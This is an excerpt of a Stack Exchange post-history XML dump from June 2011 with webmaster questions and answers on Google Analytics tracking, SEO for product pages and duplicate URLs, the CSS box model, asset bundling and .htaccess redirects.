  <row Id="35115" PostHistoryTypeId="5" PostId="14922" RevisionGUID="e2a207ab-b8c8-4bff-a639-584b7dec97af" CreationDate="2011-06-07T13:53:14.293" UserId="6033" Comment="added 102 characters in body; edited body" Text="I use this to track subdomains. Put this code at the end of your template before the `&lt;/body&gt;` tag.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    //Tracking code customizations only&#xD;&#xA;          var _gaq = _gaq || [];&#xD;&#xA;          _gaq.push(['_setAccount', 'your analytics acct #']);&#xD;&#xA;          _gaq.push(['_setDomainName', '.your_domain_here.com']);&#xD;&#xA;          _gaq.push(['_setAllowHash', false]);&#xD;&#xA;          _gaq.push(['_trackPageview']); &#xD;&#xA;    &#xD;&#xA;        (function() {&#xD;&#xA;            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;          })();&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The you'll need to setup multiple filters in the analytics interface to see the data combined and separate.&#xD;&#xA;" />
  <row Id="35116" PostHistoryTypeId="2" PostId="14923" RevisionGUID="b3a199f2-9de6-4629-a767-f08095b8e11a" CreationDate="2011-06-07T13:56:54.787" UserId="7198" Text="&gt; &quot;If a product page has a good PageRank but, is not sold throughout the year, how to deal with it?&quot;&#xD;&#xA;&#xD;&#xA;Prompt visitors to register for product alerts: &quot;Thanks for your interest in [William Wonka's Exploding Chocolate Eggs]. Submit your email address and we'll tell you the moment we have more.&quot;&#xD;&#xA;&#xD;&#xA;Amazon prompts visitors to check out and purchase the product when it's not in stock, then bills their card and ships the item when it's back in, or sends out a &quot;sorry, but we couldn't get hold of this item&quot; if they haven't secured it after a given time (90 days?).&#xD;&#xA;&#xD;&#xA;If there's no chance you'll ever get the product back in stock again, say so and suggest alternatives, or pull in listings from a second-hand marketplace like eBay, optionally using affiliate links.&#xD;&#xA;" />
  <row Id="35117" PostHistoryTypeId="5" PostId="14919" RevisionGUID="faec3fcf-3fa1-4b05-b64b-234ca6705acb" CreationDate="2011-06-07T14:06:23.033" UserId="1253" Comment="added 444 characters in body" Text="Why not throw a 410 Gone HTTP status header so the search engines know those pages no longer exist. On the page that you display let the user know the product has been discontinued and offer links to existing products that may suit their needs. Also offer obvious links to your home page, site map, and contact page. This will allow them to then navigate to other pages within your site that encourage browsing and/or purchasing.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;For seasonal items clearly note that those items are seasonal and are currently not in stock. A good idea would be to allow users to register to be notified when they are back in stock. You could also have an RSS feed with site updates that includes sales and restocking of items. Do not serve up a 410 or 404 for those items as those pages are not going away and you want to make sure they stay indexed by the search engines." />
  <row Id="35118" PostHistoryTypeId="5" PostId="14922" RevisionGUID="ac91c88b-2654-4f1a-8014-713cc1b38d04" CreationDate="2011-06-07T14:43:07.487" UserId="6033" Comment="added 202 characters in body" Text="I use this to track subdomains. Put this code at the end of your template before the `&lt;/body&gt;` tag.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    //Tracking code customizations only&#xD;&#xA;          var _gaq = _gaq || [];&#xD;&#xA;          _gaq.push(['_setAccount', 'your analytics acct #']);&#xD;&#xA;          _gaq.push(['_setDomainName', '.your_domain_here.com']);&#xD;&#xA;          _gaq.push(['_setAllowHash', false]);&#xD;&#xA;          _gaq.push(['_trackPageview']); &#xD;&#xA;    &#xD;&#xA;        (function() {&#xD;&#xA;            var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;            ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;          })();&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The you'll need to setup multiple filters in the analytics interface to see the data combined and separate.&#xD;&#xA;&#xD;&#xA;**EDIT to add filtering information :**&#xD;&#xA;&#xD;&#xA;[Easy tutorial for setting up subdomain filters][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://theanalyticsguru.wordpress.com/2008/03/01/tracking-subdomains-within-google-analytics/" />
  <row Id="35119" PostHistoryTypeId="2" PostId="14924" RevisionGUID="ebc0ec2c-80f9-4188-9014-545ca47a3c39" CreationDate="2011-06-07T15:02:31.603" UserId="239" Text="Our site recently took a huge traffic hit that we can't attribute to anything.  Is there a way to ask Google Analytics to compare traffic patterns and show any statistical changes between two timeframes? (Or 3rd party software)" />
  <row Id="35120" PostHistoryTypeId="1" PostId="14924" RevisionGUID="ebc0ec2c-80f9-4188-9014-545ca47a3c39" CreationDate="2011-06-07T15:02:31.603" UserId="239" Text="Does Google Analytics have a way to compare two timeframes?" />
  <row Id="35121" PostHistoryTypeId="3" PostId="14924" RevisionGUID="ebc0ec2c-80f9-4188-9014-545ca47a3c39" CreationDate="2011-06-07T15:02:31.603" UserId="239" Text="&lt;google-analytics&gt;" />
  <row Id="35122" PostHistoryTypeId="2" PostId="14925" RevisionGUID="899cd1fd-e94b-4b4d-abe7-9d3f671db1d3" CreationDate="2011-06-07T15:06:36.670" UserId="1253" Text="From [Google][1]&#xD;&#xA;&#xD;&#xA;&gt; **How do I select and compare date ranges for my reports?**&#xD;&#xA;&gt;&#xD;&#xA;&gt; Google Analytics maintains at least 25&#xD;&#xA;&gt; months of historical data for each&#xD;&#xA;&gt; site tracked using Google Analytics.&#xD;&#xA;&gt; You can easily view reports for any&#xD;&#xA;&gt; date range for which data exists. The&#xD;&#xA;&gt; date range selector at the top right&#xD;&#xA;&gt; of your report pages allows you to&#xD;&#xA;&gt; select a date range, and optionally to&#xD;&#xA;&gt; compare that range to another date&#xD;&#xA;&gt; range of your choosing.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Click the down arrow next to the date&#xD;&#xA;&gt; to access the date range selector.&#xD;&#xA;&gt; Once you've selected a new date range,&#xD;&#xA;&gt; click Apply Range to update your&#xD;&#xA;&gt; report.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **To select a single date**&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Click the **Calendar** tab and click any&#xD;&#xA;&gt; date on the calendar. &#xD;&#xA;&gt; - From the&#xD;&#xA;&gt; **Timeline** tab, you can also drag the&#xD;&#xA;&gt; start or end slider to its smallest&#xD;&#xA;&gt; setting. &#xD;&#xA;&gt; - Or, enter a single date in&#xD;&#xA;&gt; mm/dd/yyyy format in both fields of&#xD;&#xA;&gt; the **Date Range** section. &#xD;&#xA;&#xD;&#xA;&gt; **To select a&#xD;&#xA;&gt; specific week**&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Click the **Calendar** tab and click the&#xD;&#xA;&gt; icon to the left of any calendar week.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **To select a range of dates**&#xD;&#xA;&gt; &#xD;&#xA;&gt; - From the **Calendar** tab, click once on&#xD;&#xA;&gt; the desired start date, then click the&#xD;&#xA;&gt; end date. The selected days will be&#xD;&#xA;&gt; highlighted. &#xD;&#xA;&gt; - The **Timeline** tab lets you&#xD;&#xA;&gt; drag the start and end date sliders to&#xD;&#xA;&gt; any desired date. Your selection will&#xD;&#xA;&gt; be displayed in the **Date Range** text&#xD;&#xA;&gt; boxes to the right of the timeline.&#xD;&#xA;&gt; - You can also enter a start and end&#xD;&#xA;&gt; date in the **Date Range** fields, using&#xD;&#xA;&gt; mm/dd/yyyy format. &#xD;&#xA;&gt;&#xD;&#xA;&gt; **To compare two different ranges**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Select the **Compare to Past** checkbox&#xD;&#xA;&gt; and follow the instructions above to&#xD;&#xA;&gt; select a date range. **Change** values in&#xD;&#xA;&gt; your reports will be calculated&#xD;&#xA;&gt; against the selected **Compare to Past**&#xD;&#xA;&gt; range.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Remember: once you've selected a new&#xD;&#xA;&gt; date range, click **Apply Range** to&#xD;&#xA;&gt; update your report&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=57160" />
  <row Id="35123" PostHistoryTypeId="25" PostId="14917" RevisionGUID="fdc1f154-dee4-4e6a-a392-32d1a603702c" CreationDate="2011-06-07T15:13:52.663" Comment="http://twitter.com/#!/StackWebmasters/status/78117473781694464" />
  <row Id="35124" PostHistoryTypeId="2" PostId="14926" RevisionGUID="dea9d6b5-bdea-47a1-88e6-c4cf09a3efc9" CreationDate="2011-06-07T15:19:36.930" UserId="8088" Text="As the person above said, installing Joomla is possible in windows hosting account where php is supported. But you have to manually install it(download from Joomla, upload to site, config etc). Could be a pain. [This good windows web host][1] supports php. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/kir7R5" />
  <row Id="35125" PostHistoryTypeId="2" PostId="14927" RevisionGUID="c71aaeb8-b77f-481f-9165-23a73266932a" CreationDate="2011-06-07T15:24:00.487" UserId="118" Text="Eric Meyer just tweeted that he got 100% in this quiz:&#xD;&#xA;&#xD;&#xA;http://net.tutsplus.com/quizzes/nettuts-quiz-1-beginner-css/&#xD;&#xA;&#xD;&#xA;So I took the quiz, and at the end they told me that I got one question wrong:&#xD;&#xA;&#xD;&#xA;&gt; What’s the effective width of the&#xD;&#xA;&gt; container? &#xD;&#xA;&gt; `#container {width: 100px; padding: 10px; margin: 20px;}`&#xD;&#xA;&#xD;&#xA;To which I answered: 20px + 100px + 20px = 140px&#xD;&#xA;&#xD;&#xA;After a lot of work, I unraveled that the quiz's suggested &quot;correct&quot; answer was 120px.&#xD;&#xA;&#xD;&#xA;Could someone explain why 120px would be a more appropriate answer?" />
  <row Id="35126" PostHistoryTypeId="1" PostId="14927" RevisionGUID="c71aaeb8-b77f-481f-9165-23a73266932a" CreationDate="2011-06-07T15:24:00.487" UserId="118" Text="&quot;Effective width&quot; of a css element could reasonably includes what? width, ?margin?, ?padding?" />
  <row Id="35127" PostHistoryTypeId="3" PostId="14927" RevisionGUID="c71aaeb8-b77f-481f-9165-23a73266932a" CreationDate="2011-06-07T15:24:00.487" UserId="118" Text="&lt;css&gt;" />
  <row Id="35128" PostHistoryTypeId="2" PostId="14928" RevisionGUID="b00ecd8c-1704-497b-b615-0ab9860a5a1a" CreationDate="2011-06-07T15:27:13.603" UserId="7801" Text="I've been coding for a while and it's just struck me, what's better to use in terms of SEO:&#xD;&#xA;&#xD;&#xA;    &lt;b&gt;Hello&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;strong&gt;Hello&lt;/strong&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35129" PostHistoryTypeId="1" PostId="14928" RevisionGUID="b00ecd8c-1704-497b-b615-0ab9860a5a1a" CreationDate="2011-06-07T15:27:13.603" UserId="7801" Text="Which is better to use &lt;b&gt; or &lt;strong&gt; for SEO?" />
  <row Id="35130" PostHistoryTypeId="3" PostId="14928" RevisionGUID="b00ecd8c-1704-497b-b615-0ab9860a5a1a" CreationDate="2011-06-07T15:27:13.603" UserId="7801" Text="&lt;seo&gt;&lt;html&gt;&lt;css&gt;" />
  <row Id="35131" PostHistoryTypeId="2" PostId="14929" RevisionGUID="a8679d4b-537d-4e85-8f94-9a51cf9e46c8" CreationDate="2011-06-07T15:27:22.753" UserId="5924" Text="I'm curently writing a web app that's supposed to take care of analytics and traffic on the application for our users. The users should be able to log in to the application and see a special area where they can see traffic stats for say, their Profile.&#xD;&#xA;&#xD;&#xA;Now, there might be a number of ways to get this done and i'm looking at Google Analytics as an ideal solution. &#xD;&#xA;&#xD;&#xA;1) So, what we are planning to do is that have the users sign up for Google Analytics and just key in their Analytics UA-XXXXXXXXX code when they are registering.. and then the application could spit out required Google Analytics tracking code on that particular page (User Profile) to log traffic and analytics. But the downside to this is that while registering for Google Analytics you have to link up a domain - and you need to verify domain ownership - which would belong to us and this might become a hassle for the users.&#xD;&#xA;&#xD;&#xA;2) We can use Google Analytics API to pull data from our personal account and throw the information out to the user when he/she logs in - Not sure how this would go since i havent yet had a look at Google Analytics API. May be this would be an ideal solution?&#xD;&#xA;&#xD;&#xA;Is there a more elegant solution where i could create sort of buckets or containers etc inside Google Analytics for our every user and then pulling data would become easy for us. &#xD;&#xA;&#xD;&#xA;Please advice." />
  <row Id="35132" PostHistoryTypeId="1" PostId="14929" RevisionGUID="a8679d4b-537d-4e85-8f94-9a51cf9e46c8" CreationDate="2011-06-07T15:27:22.753" UserId="5924" Text="using google analytics to create custom reports for a web app" />
  <row Id="35133" PostHistoryTypeId="3" PostId="14929" RevisionGUID="a8679d4b-537d-4e85-8f94-9a51cf9e46c8" CreationDate="2011-06-07T15:27:22.753" UserId="5924" Text="&lt;google-analytics&gt;&lt;analytics-api&gt;" />
  <row Id="35134" PostHistoryTypeId="2" PostId="14930" RevisionGUID="5f5f0bd0-9179-40ad-9435-4a5665f86a3c" CreationDate="2011-06-07T15:31:20.577" UserId="8087" Text="On a few of my sites, we use Javascript/CSS bundles to reduce load time. I've always used two bundles for each type (4 in total) so I have&#xD;&#xA;&#xD;&#xA; - JS Bundle 1: Contains scripts that are standard on every page (jQuery, cross page functions etc.)&#xD;&#xA; - JS Bundle 2: Contains scripts specific to that page&#xD;&#xA; - CSS bundle 1: Contains general site CSS (Layout, colors etc.(&#xD;&#xA; - CSS Bundle 2: Contains CSS specific to that page&#xD;&#xA;&#xD;&#xA;My theory behind that is, JS Bundle 1 and CSS Bundle 1 never change, so by having them in a separate bundle they can be cached and re-used on every page, whereas JS bundle 2 and CSS bundle 2 contain the code that changes per page. Sometimes these might only have one or two lines of code in them. I did some freelance work for a web development company using this method, and they told me it was bad/wrong and I should only use one bundle for each media type because using two bundles increases the number of requests and slows the page. I don't understand why this is slower than using two bundles?&#xD;&#xA;&#xD;&#xA;Just as an example with Javascript (Though almost identical for CSS)&#xD;&#xA;&#xD;&#xA;First page visited (Say page1.html): 100kb of standard scripts used on every page and 5kb of custom scripts  &#xD;&#xA;With my method a user would have to download 105kb of media in two requests  &#xD;&#xA;With their method a user would have to download 105kb of media on one request  &#xD;&#xA;So on the first visit, I accept their method is faster but&#xD;&#xA;&#xD;&#xA;Second page visited (page2.html): 100kb of standard scripts and 3kb of custom scripts  &#xD;&#xA;With my method, the standard scripts would already be cached so they would only have to download 3kb of scripts  &#xD;&#xA;With their method the user would have to downoad 103kb of scripts, just for the 3kb of custom scripts.&#xD;&#xA;&#xD;&#xA;Yet they insist their method is faster, how is this possible? I'm sure having to make one extra request can't decrease the page load so much it's more effective to re-download 100kb of data they already have, and that's just the JS, adding the CSS that becomes nearer to double" />
  <row Id="35135" PostHistoryTypeId="1" PostId="14930" RevisionGUID="5f5f0bd0-9179-40ad-9435-4a5665f86a3c" CreationDate="2011-06-07T15:31:20.577" UserId="8087" Text="One JS/CSS bundle Vs. One with default and one with custom" />
  <row Id="35136" PostHistoryTypeId="3" PostId="14930" RevisionGUID="5f5f0bd0-9179-40ad-9435-4a5665f86a3c" CreationDate="2011-06-07T15:31:20.577" UserId="8087" Text="&lt;css&gt;&lt;javascript&gt;&lt;performance&gt;" />
  <row Id="35137" PostHistoryTypeId="2" PostId="14931" RevisionGUID="2a57f274-a0a1-4e2e-9777-a9d56923e4d1" CreationDate="2011-06-07T15:33:18.640" UserId="1253" Text="According to Matt Cutts are treated exactly the same. FYI, `&lt;i&gt;` and `&lt;em&gt;` are also treated the same.&#xD;&#xA;&#xD;&#xA;[Video where Matt Cutts says they have the same weight][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://video.google.com/videoplay?docid=-1756437348670651505&amp;ei=FbKRSaWVEpKwqwLO8bzHCw&amp;q=strong%20tag&amp;hl=en" />
  <row Id="35138" PostHistoryTypeId="2" PostId="14932" RevisionGUID="14a7f0d0-5c54-4bda-a1c4-b9850bf97f39" CreationDate="2011-06-07T15:35:44.393" UserId="1643" Text="Padding is space inside the object, margin is space outside the object. The width property is how wide the stuff inside the container is. As the effective width here means how much space the object takes up the margin doesn't count towards the width of the object.&#xD;&#xA;&#xD;&#xA;If two elements are next to each other the margins may collapse, which is fine because they aren't really part of the object." />
  <row Id="35139" PostHistoryTypeId="5" PostId="14928" RevisionGUID="497a5d08-6664-4dd9-9231-625b0e14ae27" CreationDate="2011-06-07T15:36:40.883" UserId="1253" Comment="modified tags" Text="I've been coding for a while and it's just struck me, what's better to use in terms of SEO:&#xD;&#xA;&#xD;&#xA;    &lt;b&gt;Hello&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;strong&gt;Hello&lt;/strong&gt;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35140" PostHistoryTypeId="6" PostId="14928" RevisionGUID="497a5d08-6664-4dd9-9231-625b0e14ae27" CreationDate="2011-06-07T15:36:40.883" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;html&gt;" />
  <row Id="35141" PostHistoryTypeId="2" PostId="14933" RevisionGUID="f5606672-a269-4c33-aa0c-60a7d1d79d31" CreationDate="2011-06-07T15:51:11.490" UserId="7686" Text="I'm getting a lot of 404 errors b/c I recently switched content management systems (Habari to WordPress). I would like to use the 301 redirect plugin for WordPress to capture and helpfully redirect the offending links to the correct urls. Here's an example of the type of errors I'm seeing and what they should be redirected to:&#xD;&#xA;&#xD;&#xA;    http://janetalkstech.com/admin/publish?id=146 &#xD;&#xA;should redirect to&#xD;&#xA;        http://janetalkstech.com/?p=146&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    http://janetalkstech.com/admin/publish?slug=post-title&#xD;&#xA;should redirect to &#xD;&#xA;        http://janetalkstech.com/post-title&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would greatly appreciate any specific pointers on how to perform the redirects with either the 301 redirect plugin for WordPress or via .htaccess file&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35142" PostHistoryTypeId="1" PostId="14933" RevisionGUID="f5606672-a269-4c33-aa0c-60a7d1d79d31" CreationDate="2011-06-07T15:51:11.490" UserId="7686" Text="Redirecting bad links to the correct links via htacess or 301 redirect plugin for WordPress" />
  <row Id="35143" PostHistoryTypeId="3" PostId="14933" RevisionGUID="f5606672-a269-4c33-aa0c-60a7d1d79d31" CreationDate="2011-06-07T15:51:11.490" UserId="7686" Text="&lt;htaccess&gt;&lt;301-redirect&gt;" />
  <row Id="35144" PostHistoryTypeId="6" PostId="14933" RevisionGUID="653ee792-9e1a-4c4a-8551-29627ed06ee4" CreationDate="2011-06-07T15:53:48.867" UserId="1643" Comment="edited tags" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;301-redirect&gt;" />
  <row Id="35145" PostHistoryTypeId="5" PostId="14933" RevisionGUID="ae2d66bc-89bd-4ba2-a2e8-527e5cdfbba8" CreationDate="2011-06-07T15:58:07.387" UserId="7686" Comment="added info on 301 redirect plugin being used, formatted links" Text="I'm getting a lot of 404 errors b/c I recently switched content management systems (Habari to WordPress). I would like to use the 301 redirect plugin for WordPress to capture and helpfully redirect the offending links to the correct urls. Here's an example of the type of errors I'm seeing and what they should be redirected to:&#xD;&#xA;&#xD;&#xA;    http://janetalkstech.com/admin/publish?id=146 &#xD;&#xA;should redirect to&#xD;&#xA;        `http://janetalkstech.com/?p=146`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    http://janetalkstech.com/admin/publish?slug=post-title&#xD;&#xA;should redirect to &#xD;&#xA;        `http://janetalkstech.com/post-title`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would greatly appreciate any specific pointers on how to perform the redirects with either the 301 redirect plugin for WordPress or via .htaccess file&#xD;&#xA;&#xD;&#xA;Edit: Redirection plugin being used is the one by Urban Giraffe:&#xD;&#xA;     `http://urbangiraffe.com/plugins/redirection/`&#xD;&#xA;" />
  <row Id="35146" PostHistoryTypeId="17" PostId="14934" RevisionGUID="c35061d8-3c77-4ea9-83a6-452565835ab7" CreationDate="2011-06-07T16:09:29.110" UserId="-1" Comment="from http://stackoverflow.com/questions/6267893/urls-with-same-content-but-different-trailing-slash-and-html" Text="" />
  <row Id="35147" PostHistoryTypeId="17" PostId="14935" RevisionGUID="4b25548b-15af-4023-8240-f717d8f23522" CreationDate="2011-06-07T16:09:29.110" UserId="-1" Comment="from http://stackoverflow.com/questions/6267893/urls-with-same-content-but-different-trailing-slash-and-html" Text="" />
  <row Id="35148" PostHistoryTypeId="17" PostId="14936" RevisionGUID="8a217dc1-eb95-4866-b4e0-c403f85a79d0" CreationDate="2011-06-07T16:09:29.110" UserId="-1" Comment="from http://stackoverflow.com/questions/6267893/urls-with-same-content-but-different-trailing-slash-and-html" Text="" />
  <row Id="35149" PostHistoryTypeId="2" PostId="14935" RevisionGUID="430d5023-eaa4-4b83-a97a-1c8f3e2ba178" CreationDate="2011-06-07T15:53:01.077" UserDisplayName="Jacques" Text="Yes, it does hinder SEO. Search engines will see those as two separate pages and will cause a lower ranking.&#xD;&#xA;&#xD;&#xA;You might want to check out this post by ScottGu about SEO, including url rewriting, using the Microsoft SEO Toolkit: [Tip/Trick: Fix Common SEO Problems Using the URL Rewrite Extension ][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://weblogs.asp.net/scottgu/archive/2010/04/20/tip-trick-fix-common-seo-problems-using-the-url-rewrite-extension.aspx" />
  <row Id="35150" PostHistoryTypeId="2" PostId="14936" RevisionGUID="f16229d4-0f82-439c-a2ed-88e80ec40e82" CreationDate="2011-06-07T15:53:38.220" UserDisplayName="Richard" Text="It is generally consider best practice to ensure that an individual page only has only one, i.e unique, URL. Repeating content will get scored down by Google and the other search engines." />
  <row Id="35151" PostHistoryTypeId="2" PostId="14934" RevisionGUID="e4782765-1cec-4203-b915-a10bd09d2219" CreationDate="2011-06-07T15:45:03.167" UserDisplayName="Andy" Text="I have a website with the following url: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;http://www.site.com/folder/&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;But I also have the following url: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;http://www.site.com/folder.html&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Is this really bad for Google SEO ?" />
  <row Id="35152" PostHistoryTypeId="1" PostId="14934" RevisionGUID="e4782765-1cec-4203-b915-a10bd09d2219" CreationDate="2011-06-07T15:45:03.167" UserDisplayName="Andy" Text="Url's with same content , but different: trailing slash and .html" />
  <row Id="35153" PostHistoryTypeId="3" PostId="14934" RevisionGUID="e4782765-1cec-4203-b915-a10bd09d2219" CreationDate="2011-06-07T15:45:03.167" UserDisplayName="Andy" Text="&lt;url&gt;&lt;seo&gt;" />
  <row Id="35154" PostHistoryTypeId="2" PostId="14937" RevisionGUID="66c95648-a656-47dc-bc99-5f087162b804" CreationDate="2011-06-07T16:16:16.153" UserId="1253" Text="If both URLs pull up the same content then you'll have issues with duplicate content. Duplicate content doesn't cause any lowering of rankings but it will force Google to choose one URL over the other to be displayed in the search results as duplicate content will be filtered out.&#xD;&#xA;&#xD;&#xA;You should pick one format (I prefer with the trailing slash) and do a 301 redirect with the .html URL. I would also use [canonical URLs][1] to make sure Google know which one is the one you wish to have indexed (although if you do a 301 redirect this is unnecessary).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="35155" PostHistoryTypeId="5" PostId="14927" RevisionGUID="af49ed21-cf50-4fcd-858a-aa71020d135d" CreationDate="2011-06-07T16:18:38.277" UserId="118" Comment="added 222 characters in body" Text="Eric Meyer just tweeted that he got 100% in this quiz:&#xD;&#xA;&#xD;&#xA;http://net.tutsplus.com/quizzes/nettuts-quiz-1-beginner-css/&#xD;&#xA;&#xD;&#xA;So I took the quiz, and at the end they told me that I got one question wrong:&#xD;&#xA;&#xD;&#xA;&gt; What’s the effective width of the&#xD;&#xA;&gt; container? &#xD;&#xA;&gt; `#container {width: 100px; padding: 10px; margin: 20px;}`&#xD;&#xA;&#xD;&#xA;To which I answered: 20px + 100px + 20px = 140px&#xD;&#xA;&#xD;&#xA;After a lot of work, I unraveled that the quiz's suggested &quot;correct&quot; answer was 120px.&#xD;&#xA;&#xD;&#xA;Could someone explain why 120px would be a more appropriate answer?&#xD;&#xA;&#xD;&#xA;Edit: Created a jsfiddle of the situation, and it appears that (for example) inline-block elements with padding incorporate the padding into the width, which I somehow managed to go all this time without understanding?" />
  <row Id="35156" PostHistoryTypeId="17" PostId="14938" RevisionGUID="ec6922aa-3067-4661-87bd-69047194a00d" CreationDate="2011-06-07T16:45:30.660" UserId="-1" Comment="from http://serverfault.com/questions/277594/tell-search-engines-about-a-mass-htaccess-rename" Text="" />
  <row Id="35157" PostHistoryTypeId="2" PostId="14938" RevisionGUID="392a54cc-257e-4c99-ae5f-3a0fbf29e062" CreationDate="2011-06-06T20:31:31.397" UserDisplayName="jon" Text="I used `htaccess` to redirect my `a.php?x=aaa&amp;y=bbb` to `/subdir/aaa-bbb.htm`. However, after fixing some errors I needed to change that rule to redirect `a.php?x=aaa&amp;y=bbb` to `/subdir/aaa-bbb.htm/100`.&#xD;&#xA;&#xD;&#xA;How can I tell search engines that all `htm` files in `/subdir/` have changed to `/subdir/*.htm/100`?&#xD;&#xA;" />
  <row Id="35158" PostHistoryTypeId="1" PostId="14938" RevisionGUID="392a54cc-257e-4c99-ae5f-3a0fbf29e062" CreationDate="2011-06-06T20:31:31.397" UserDisplayName="jon" Text="Tell search engines about a mass htaccess rename" />
  <row Id="35159" PostHistoryTypeId="3" PostId="14938" RevisionGUID="392a54cc-257e-4c99-ae5f-3a0fbf29e062" CreationDate="2011-06-06T20:31:31.397" UserDisplayName="jon" Text="&lt;php&gt;&lt;htaccess&gt;" />
  <row Id="35160" PostHistoryTypeId="2" PostId="14939" RevisionGUID="bdfabbd8-189a-41b1-87fa-82eef48c4c0f" CreationDate="2011-06-07T17:05:06.770" UserId="118" Text="So the breakdown is thus:&#xD;&#xA;&#xD;&#xA;The margin isn't being counted in the question since it wouldn't contribute anything visible to the element (which I chalk up to the vagueness of the question itself).&#xD;&#xA;&#xD;&#xA;In addition, padding **is** counted in the visible width, which I have somehow managed to not get over all these years.  Stupid box model.&#xD;&#xA;&#xD;&#xA;As a result, the visible width if a background is applied would be:&#xD;&#xA;10px (left padding) + 100px (width) + 10px (right padding) = 120px.&#xD;&#xA;&#xD;&#xA;Here is a jsfiddle of that situation:&#xD;&#xA;jsfiddle.net/tchalvakspam/XC2Br" />
  <row Id="35161" PostHistoryTypeId="5" PostId="14939" RevisionGUID="00b963bc-f6d7-4e97-8fd9-a5bb44786d03" CreationDate="2011-06-07T17:22:14.827" UserId="118" Comment="added 56 characters in body" Text="So the breakdown is thus:&#xD;&#xA;&#xD;&#xA;The margin isn't being counted in the question since it wouldn't contribute anything visible to the element (which I chalk up to the vagueness of the question itself).&#xD;&#xA;&#xD;&#xA;In addition, padding **is** counted in the visible width, which I have somehow managed to not get over all these years.  Stupid box model.&#xD;&#xA;&#xD;&#xA;As a result, the visible width if a background is applied would be:&#xD;&#xA;10px (left padding) + 100px (width) + 10px (right padding) = 120px.&#xD;&#xA;&#xD;&#xA;Here is a jsfiddle of that situation:&#xD;&#xA;[jsfiddle.net/tchalvakspam/XC2Br][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jsfiddle.net/tchalvakspam/XC2Br" />
  <row Id="35162" PostHistoryTypeId="5" PostId="14927" RevisionGUID="e2e9e9b0-1f1c-45e0-a4f7-cd261ec5a5e3" CreationDate="2011-06-07T17:22:44.873" UserId="118" Comment="deleted 4 characters in body" Text="Eric Meyer just tweeted that he got 100% in this quiz:&#xD;&#xA;&#xD;&#xA;http://net.tutsplus.com/quizzes/nettuts-quiz-1-beginner-css/&#xD;&#xA;&#xD;&#xA;So I took the quiz, and at the end they told me that I got one question wrong:&#xD;&#xA;&#xD;&#xA;&gt; What’s the effective width of the&#xD;&#xA;&gt; container? &#xD;&#xA;&gt; `#container {width: 100px; padding: 10px; margin: 20px;}`&#xD;&#xA;&#xD;&#xA;To which I answered: 20px + 100px + 20px = 140px&#xD;&#xA;&#xD;&#xA;After a lot of work, I unraveled that the quiz's suggested &quot;correct&quot; answer was 120px.&#xD;&#xA;&#xD;&#xA;Could someone explain why 120px would be a more appropriate answer?&#xD;&#xA;&#xD;&#xA;Edit: Created a jsfiddle of the situation, and it appears that (for example) inline-block elements with padding incorporate the padding into the width, which I somehow managed to go all this time without realizing." />
  <row Id="35163" PostHistoryTypeId="2" PostId="14940" RevisionGUID="69d566d9-1ef9-42e1-8779-a8a0e58a180b" CreationDate="2011-06-07T17:50:14.183" UserId="8090" Text="I've the following code:&#xD;&#xA;&#xD;&#xA;    p{&#xD;&#xA;	font-family: Helvetica, Arial, sans-serif;&#xD;&#xA;	font-weight:100;}&#xD;&#xA;&#xD;&#xA;It works on Mac OSX on Safari and Firefox, but the font-weight don't work on Windows in any browser.&#xD;&#xA;Why? How can I solve that?" />
